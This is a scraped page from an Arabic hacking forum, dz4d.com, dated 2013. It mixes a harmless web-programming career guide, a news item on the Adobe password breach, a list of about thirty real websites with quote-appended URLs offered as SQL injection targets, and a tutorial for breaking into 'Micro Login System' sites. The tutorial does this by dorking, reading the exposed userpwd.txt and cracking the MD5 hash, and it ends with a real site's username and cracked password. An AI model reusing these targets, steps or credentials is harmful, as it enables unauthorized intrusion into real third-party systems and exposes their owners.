منتديات ديزاد فور دي // dz4d.com

منتديات ديزاد فور دي // dz4d.com

Partager

|| منتديات ديزاد فور دي || Dz4d.com || : منتدى تعليمي يهدف لتطو?

|| منتديات ديزاد فور دي || Dz4d.com || : منتدى تعليمي يهدف لتطوير فكر الشبآب وتعليمه مختلف المجلآت التطويرية مثل (إخترآق الأجهزة والموآقع , البرمجة بجميع لغآتهآ , شروحآت ودورآت في مختلف المجآلآت , برآمج )

Photos 11/11/2013

كيف تبدأ رحلتك في برمجة المواقع وجني ارباح منها



من أهم الأسئلة التي طرحت علي كمبرمج و مصمم مواقع لمدة 4 سنوات هي كيف أتعلم البرمجة ؟ ماهي الطرق التي يمكن إتباعها لتعلم البرمجة ؟ في موضوعنا هذا سنتطرق إلى كيفية تعلم برمجة و تصميم المواقع وكيف تجني أرباح من كل ما تعلمته , فبرمجة المواقع أصبحت مطلوبة جدا لأن عدد المواقع تتزايد بالآلاف كل يوم و أصبح طلب المبرمجين والبرمجيات بكثرة , فكل أسبوع أتلقى طلب برمجة على الأقل و المزيد كل أسبوع فبعض الأحيان أعتذر لطلبات لكثرتها .
كيف تبدأ رحلتك في برمجة المواقع وجني ارباح منها


- كيف تبدأ رحلتك في برمجة المواقع :
لتبدأ رحلتك في عالم برمجة و تصميم المواقع يجب عليك و قبل أي خطوة فهم آليات عمل المواقع و المتطلبات لكي تمتلك موقع إلكتروني يجب أن تكون لديك دراية بأسماء النطاقات و عالم الإستضافات و أنواعها و الإستضافات التي تستعملها عامة الناس كما نعلم أن هناك إستضافات تدعم ASP و أخرى تدعم PHP الفرق بينهما أن الأولى تتميز بسعر مرتفع و غالبا ماتجد الشركات الكبرى فقط هي التي تشتغل بها النوع (أي فرص الشغل ضعيفة نوعا ما) , في مقابل إستضافات تدعم PHP و ما أكثرها هذا يدل أن مبرمج PHP ستكون له فرص عمل أكثر من مبرمج ASP و من هنا ستقرر أنت أيضا ماهي اللغة التي تريد تعلمها و تريد أن تبرمج بها . والخطأ الكبير الذي يتعرض له متعلمي البرمجة انهم ليسو خبراء في إدارة المواقع و لايعرفون الآليات والميكانزمات التي تعمل بها الأنظمة و الخصائص الموجودة بأي موقع إلكتروني لأعطيكم مثال : أنت تعلمت البرمجة و تريد برمجة موقع يكون قوي في هذا الأخير يوجد نظام تسجيل عضويات فيجب أن تعلم أولا كيف يتم التسجيل و المعلومات المطلوبة لزيادة أمان الموقع عن طريق الشروط فبعض المعلومات تكون إجبارية مثل البريد الإلكتروني , الإسم , الباسورد و زيادة نسبة الحماية . فإن دخلت لموقع وإستطعت أن تسجل عضويتك بإسم فارغ مثلا ستسبب مشكلة بالموقع يمكن إعتبارها ثغرة لهذا يجب أن تفهم الميكانزمات أولا .

-ماهي اللغات التي يجب تعلمها :
قبل البدء في تعلم اللغات البرمجية يجب أن تحب أولا اللغة المراد تعلمها و أن لاتشك أبدا في قدرتك على الفهم و الإستعياب مع تخصيص وقت تلتزم به للتعلم بعيدا عن الشبكات الإجتماعية . لأتحدث لكم عن لغات برمجة المواقع المشهورة و ليس أحسن اللغات فهناك خطأ يقع فيه الكثير و هو أنهم يدعون أن هناك لغة برمجة أحسن من أخرى لا . هذا خطأ كبير فيمكنك ان تقول هته اللغة أحسن و هته لا بالنسبة لك أنت ليس بالنسبة للجميع لهذا لاستمع لهؤلاء فاللغة البرمجية التي تكون أحسن لك هي التي ترتاح لها أنت شخصيا و تجد فيها متعتك .

نبدأ مع التعلم على على نفس الطريقة التي تعلمت بها قبل سنوات و التي نجحت فيها

1- HTML لغة لبناء الموقع و هيكلته و الكثير يظن أنها لغت برمجة . إنها لغة خاصة ببناء الموقع و ليست لغة برمجة و سهلة جدا يمكنك البدء في تعلمها كأول لغة تتعلمها مع تعلمHTML5 الذي هوعبارة عن إضافات وتحسينات عن HTML .

2-CSS لغة خاصة بالتصميم و التنسيق يعني حين دخولك إلى أحد المواقع تجد أنه مزين و به تأثيرات إذا مررت الماوس على كتابة يتغير اللون و ألوان تكون متناسقة هته هي وظيفة CSS و له إصار CSS 2.0 و آخر إصدار هو CSS 3 يتميز أيضا بإضافات تغنيكعن إستعمال تصاميم الفوتوشوب داخل الموقع.

3-Javascript لغة رائعة خصوصا مع مكتبة الجيكويري JQUERY التي تساعدك على وضع تأثيرات رائعة مثل القاوائم المنزلقة , السلادشو , إدخال تعليقات دون تحديث الصفحة ...

4-PHP لغة برمجة يستعملها الكثير و العديد من المبرمجين و العديدمن المواقع أيضا عكس لغة ASP كما ذكرنا في موضوعها . هته اللغة تعتبر الأهم في برمجة خصائص المواقع و في التعامل مع قواعد البيانات MYSQL التي يجب تعلمها أيضا . من هنا قد أكون تحدثت عن اللغات التي يجب عليك تعلمها لبدايتك في عالم البرمجة و التصميم لكن كنقطة جد مهمة لا تتعلم لغة برمجية دون وضع تطبيق لها يعني مثلا أنهيت تعلم PHPيجب أن تبرمج مشروع ب PHP وحينها إنتقل لتعلم لغات أخرى و إن كنت تريد ترسيخ الأكواد في ذهنك يجب عليك التطبيق و تكرار التطبيق حين تدرس درس معين في لغة برمجة معينة .


-كيف أجني أرباح من برمجة و تصميم المواقع :
بعد تعلمك للبرمجة و بعد سنة أو سنتين من الخبرة ساعطيك مفتاح يعتبر السر لكيفية جلب العملاء . نلاحظ أن المنتديات التي تهتم البرمجة قد كثرث لهذا يجب عليك ان تستغلها في برمجة سكربتات مجانية تكون مطلوبة من طرف الأعضاء و تبذل فيها جهدك و جميع طاقتك بعد ذلك تطرحها مجانا للأعضاء و لاتنسى وضع حقوقك و بريدك داخل البرمجية . كن على يقين أنه ستصل رسائل و طلبات و بمجرد أنك تكسب العميل الأول ستستطيع كسب عملاء آخرين بكل سهولة . و كخطوة أخرى يجب عليك أن تمتلك موقع شخصي تعرض فيه أعمالك و تضع فيه طلبات برمجة فالعميل لن يشتري أي برمجية منك وهو يجهل أعمالك و إبداعاتك لذلك حاول وضع طاقتك في برمجياتك و تطويرها للأفضل

Photos 04/11/2013

الكوابيس تلاحق شركة أدوبي :o والملايين من الحسابات تحت السيطرة

قبل أربعة أسابيع شهدنا كلنا الكارثة التي حلت على شركة أدوبي الغنية عن كل تعريف.
و هي كابوس الاختراق الكبير لخوادمها الذي أدى إلى وصول الهاكرز إلى الشيفرة المصدرية الخام للشركة و التي تستخدمها الشركة على نطاق واسع بالإضافة إلى سرقة بيانات 3 ملايين مستخدم كما كنا نعتقد، لكن الشيء الجديد و المهول في القضية هو الكشف عن 130 مليون من رموز المرور المستخدمة على مر السنين من قبل عملاء أدوبي !!!، وكثير منهم من مكتب التحقيقات الفيدرالي FBI ، والشركات الكبيرة، والمنظمات الحساسة الأخرى.
وذلك كان بفضل سرقة ملف بحجم 9.3 Gb و الذي يحتوي على معلومات و كلمات مرور مشفرة لحوالي 130 من عملاء الشركة .
و يأتي هذا التسريب بعد طمأنة أدوبي لعملائها و اعتقادها أنه من شبه المستحيلات فك تشفير الملفات المسروقة .
و قد أتى الرد سريعا من طرف الكراكرز المخترقين حيث لم يتطلب منهم الأمر سوى بضع ساعات قليلة.
ذلك لأن الشركة قد استخدمت تشفير Triple DES .
المشكلة مع هذا النوع من التشفير هو أن التجزئة توفر بعض القرائن التي يمكن استخدامها لمعرفة كلمة السر و ذلك بسبب وجود خلل في خوارزمياتها الرياضية .
حيث يتم تشفير كلمات المرور باستخدام وضع يدعى ECB . وهذا يعني أنه استنادا إلى السلسلة المشفرة ، يمكن للهاكرز معرفة آخر الاحرف وحتى أطوال بعض كلمات السر.
وقد أكدت أدوبي لموقع Ars Technica أنها تستعمل التشفير الثلاثي DES منذ سنة تقريبا، باستخدام خوارزمية SHA- 256 ، بما في ذلك كلمات المرور و يتم تكرار التجزئة أكثر من 1000 مرة . ومع ذلك، فإن تلك التسريبات من قبل القراصنة أكدت أنه يمكن كسرها.
وعلاوة على ذلك، فإن المهمة تصبح أسهل إذا أخذنا بعين الاعتبار حقيقة أن الملف المسرب من قبل الهاكرز يحتوي أيضا على تلميحات كلمة المرور.
من ناحية أخرى، فأن الهاكرز قد تمكنوا من الوصول إلى الكثير من المعلومات الحساسة على خوادم أدوبي، فمن الممكن أنهم قد تمكنوا ايضا من سرقة مفاتيح التشفير !!!
هذا الأمر ليس بالغريب لأنه كما توقعت حدوثه و كما توقع حدوثه رغيب أمين و كافة الخبراء المهتمين بهذا المجال فإن المسألة تبقى مسألة وقت فقط ، بغض النظر عن مدى صعوبة فك التشفير ، فإذا تمكن الهاكرز من قطع شوط كبير في اختراقهم لا بد وأنهم سيكملون المهمة مهما كانت درجة صعوبتها.
وختاما أشير إلى أنه لحدود الساعة لا يعرف شيء عن هوية المخترقين ، ما عاد لغتهم التي تمكنت أدوبي من تحديدها ، وهي اللغة الروسية ....

19/10/2013

مجموعة من ثغرات الحقن sql

http://www.fcghana.org/library.php?id=20'
http://www.proceedarchiving.com/index.php?id=7'
http://www.kingsheathbusinesses.org/page.php?id=102'
http://prosser-marine.com/newboats.php?id=4'
http://www.harmeny.org.uk/index.php?id=8&pid=54'
http://support.clean-mx.de/clean-mx/viruses.php?ip=213.186.33.19'
http://www.siritha.com/galleryview.php?id=10'
http://www.rvb-books.com/book.php?id_book=29'
http://www.espacejavascript.com/script.php?id=128'
http://www.fluomin.org/uk/fiche.php?id=721'
http://www.calidus.ro/en/news.php?id=2'
http://www.irishsanghatrust.ie/news.php?id=33'
http://www.thefutureisfierce.com/news.php?ID=60'
http://www.hyperoutlet.cz/?q=inurl:play_old.php?id=2'
http://www.yemen-casa.net/news-article.php?id=12'
http://www.nissi-beach.com/article.php?id=18'
http://www.pushingpetals.com/buy.php?id=55'
http://www.warmerenergyservices.com/services.php?id=4'
http://www.webpaws.com/games/play.php?gid=416'
http://www.skikarte.si/buy.php?id=57'
http://www.ramh.org/index.php?id=45'
http://www.peopleforwork.com/index.php?id=4'
http://www.ramh.org/index.php?id=7'
http://www.ath-elite.com.au/trainers.php?id=25'
http://www.vivactiv.ru/trainings/trainers.php?id=3'
http://fcghana.org/library.php?id=15'
http://www.warmerenergyservices.com/page.php?id=25'
http://www.theoldrectoryhastings.co.uk/main_page.php?id_of_page=176'
http://www.kingslynnarts.co.uk/whatson_event.php?id=153'
http://www.parisarbitration.com/agenda-1.php?id=29'

Ramiro-Dz

16/10/2013

السلام عليكم و رحمة الله تعالى و بركاته
اليوم سنشرح ثغرة اخرى بسيطة و سهلة

ادهب الى العم google

ضع هادا الدورك
Micro Login System v 1.0

ستضهر لك مواقع كثيرة
انا على سبيل المثال وجدت

http://www.accessite.freeola.org/login/login.php

ندخل عليه نجد أنفسنا في لوحة التحكم

ههههههههه باقي اليوزور و الباسوورد

الان نحذف login.php التي في أخر الرابط
ونضع مكانها userpwd.txt

http://www.accessite.freeola.org/login/userpwd.txt

الان يخرج لنا اليوزر و الباس على شكل هاش
user:martin
password:da1771c415ae1e44e8a774f2e04fdffc
طيب بقى لنا الان نفك الهاش سهلة

نفكه من احد مواقع فك الهاشات
http://www.md5decrypter.co.uk/

و نفك الهاش

نرجع الى لوحة التحكم ونكتب اليوزو والباس الدي فككت له الهاش

http://www.accessite.freeola.org/login/login.php

user: martin
password: rovers

نتمنى ان يعجبكم هاذا الشرح

Vous voulez que votre école soit école la plus cotée à Paris ?

Cliquez ici pour réclamer votre Listage Commercial.

Emplacement

Type

Adresse


Paris
19191